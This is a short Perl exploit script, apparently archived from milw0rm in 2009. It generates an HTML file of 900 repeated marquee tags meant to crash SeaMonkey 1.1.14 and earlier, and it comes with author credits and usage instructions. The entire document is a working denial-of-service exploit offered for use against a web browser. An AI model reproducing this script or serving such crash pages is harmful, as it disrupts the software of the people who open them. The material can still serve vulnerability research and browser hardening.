SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit

#!/usr/bin/perl # SeaMonkey &#60;= 1.1.14 (marquee) Denial of Service Exploit # by athos - staker[at]hotmail[dot]it # tested on ubuntu 8.10 / slackware 12.2 # thanks to SirDark because he has tested on slackware my $data = undef; my $file = shift or &usage; exploit(); sub exploit { $data .= &#34;&#60;html&#62;&#60;head&#62;&#60;title&#62;&#34;; $data .= &#34;SeaMonkey &#60;= 1.1.14 (marquee) Denial of Service Exploit&#34;; $data .= &#34;&#60;/title&#62;&#60;/head&#62;&#60;body&#62;&#34;; $data .= &#34;&#60;marquee&#62;&#34; x900; $data .= &#34;&#60;/body&#62;&#60;/html&#62;&#34;; open(FILE,&#39;&#62;&#39;,$file) or die(&#39;file error&#39;); print FILE $data; close(FILE); } sub usage { print &#34;\n+---------------------------------------------------------+\r&#34;. &#34;\n| SeaMonkey &#60;= 1.1.14 (marquee) Denial of Service Exploit |\r&#34;. &#34;\n+---------------------------------------------------------+\r&#34;. &#34;\nby athos - staker[at]hotmail[dot]it\n&#34;. &#34;\nUsage\n&#34;. &#34;\rperl $0 [file name]\n&#34;. &#34;\rperl $0 crash.html\n&#34;; exit; } # milw0rm.com [2009-01-06]